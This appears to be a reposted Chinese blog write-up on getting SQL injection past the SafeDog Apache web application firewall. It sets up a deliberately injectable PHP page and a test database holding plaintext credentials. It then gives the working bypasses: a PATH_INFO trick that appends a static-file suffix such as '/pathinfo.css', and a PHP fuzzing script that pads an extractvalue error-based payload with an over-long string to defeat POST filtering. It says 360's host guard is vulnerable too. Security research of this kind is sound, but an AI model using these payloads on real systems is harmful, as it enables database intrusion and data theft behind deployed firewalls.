記一次720度托馬斯迴旋過狗!
本文原創作者:索馬利亞的海賊
內容來源:i春秋社區未經許可禁止轉載
前言
前些日子測試漏洞碰上了安全狗,一直做代碼審計沒什麼實戰經驗 被虐的不要不要的。找了一些網上的方法,基本上封的封有限制的有限制,沒什麼通用的好方法(當然也可能是我找的姿勢不對)。昨天有點時間就特地看了下安全狗的邏輯做了一些fuzz,成功bypass了GET和POST的注入防禦,不是特別通用,就當給大夥分享一些思路。
正文
測試環境
Windows Server 2003 Enterprise Edition Service Pack 2Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45網站安全狗(APACHE版) V3.5正式版
- 1.主程序版本:3.5.12048
- 2.網馬庫版本:2016-06-29
<?php$link = mysql_connect("localhost", "root", "root"); mysql_select_db("anquangou", $link); $sql = "select * from `user` where `id`=".$_REQUEST["id"]; echo $sql."<br>
";$result =mysql_query($sql);while($array = mysql_fetch_assoc($result)){ echo "id:".$array["Id"]."<br />
";echo "username:".$array["username"]."<br />
"; echo "password:".$array["password"]."<br />
";}echo mysql_error();
資料庫:
# Host: localhost (Version: 5.5.53)# Date: 2016-11-19 17:57:30# Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;## Structure for table "admin"#DROP TABLE IF EXISTS `admin`;CREATE TABLE `admin` (`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;## Data for table "admin"#/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,"admin","admin888");/*!40000 ALTER TABLE `admin` ENABLE KEYS */;## Structure for table "user"#DROP TABLE IF EXISTS `user`;CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;## Data for table "user"#/*!40000 ALTER TABLE `user` DISABLE KEYS */; INSERT INTO `user` VALUES (1,"user","userpass"),(2,"user2","upass2"); /*!40000 ALTER TABLE `user` ENABLE KEYS */;
1.繞過正則的匹配,匹配失敗當然就不會被攔截了。
2.繞過(或者打亂)程序的邏輯。不進入匹配邏輯也就不會攔截了。
對於正則繞過,在不知道防護規則具體正則表達式的前提下,就只能fuzz了,各種穿插配合。不過我嘗試的是第二種方法。
安全狗的原理是往Web Service中注入一個模塊,搶在Web Service處理之前獲得HTTP請求並根據規則處理,沒問題就交給Web Service繼續處理,有問題就攔截並返回自定義錯誤信息。
一個簡單的測試fakefile.php實際上並不存在,但是仍然會被安全狗攔下來。當然也包括php5 php4 asp cer asa等等等等 甚至擴展名是.111都會攔截。不過也有例外,常見的靜態文件(.js .jpg .swf .css等等)它是不管的。
可以看到並沒有出攔截提示而是直接404了 所以猜測安全狗應該是存在類似白名單機制的,特定的靜態資源後綴請求就不處理直接交給webserver 這種處理看起來沒問題其實是存在隱患的 Apache和IIS默認都開啟pathinfo支持 來做個測試對php來說 請求的是sqlin.php 後面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 當作了真正的請求對象,因為是靜態資源 所以不做處理直接把請求丟給了php。就這麼秒了?對。。是不是so easy?
POST型注入
POST型再用pathinfo就不好使了 因為正常對靜態資源的請求不會用post 所以也不用什麼白名單了 任何POST請求都要先進狗嘴了繞一圈 那麼就想辦法來fuzz一下吧 構造一個post腳本
<?php $i=10000;$url = "http://192.168.1.121/sqlin.php"; for(;;){$i++; echo "$i
"; $payload = "id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=".str_repeat("3",$i); $ret = doPost($url,$payload); if(!strpos($ret,"網站防火牆")){ echo "done!
".strlen($payload)."
".$ret; die();} } function doPost($url,$data=""){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch); curl_close ($ch); return $return;}
在正常的注入語句後面加入超長字元串 然而跑了很久都沒結果 於是停下腳本 換換位置 把超長字元串放在中間
$payload = "id=-1 and 1=".str_repeat("3",$i)." and (extractvalue(1,concat(0x7e,(select user()),0x7e)))";
跑起來
wtf?又秒了?瀏覽器中試一下太坑了 我才剛脫褲子你告訴我結束了後記
其實實際測試中過程要複雜的多,時間關係挑了成功的步驟寫一下pathinfo其實是一個很容易被忽視的問題 順帶測試了一下360的主機衛士 也存在相同的問題。而且360的主機衛士自帶的白名單還有類似於dede admin 這樣的(後台操作不防禦)可以用
http://example.com/index.php/admin/?id=sql注入這種方式來秒推薦閱讀:
※如何將大數據分析技術應用於信息安全領域?
※開槍走火!黑客輕而易舉繞過Armatix智能手槍安防系統
※深度好文:詳解信息安全專業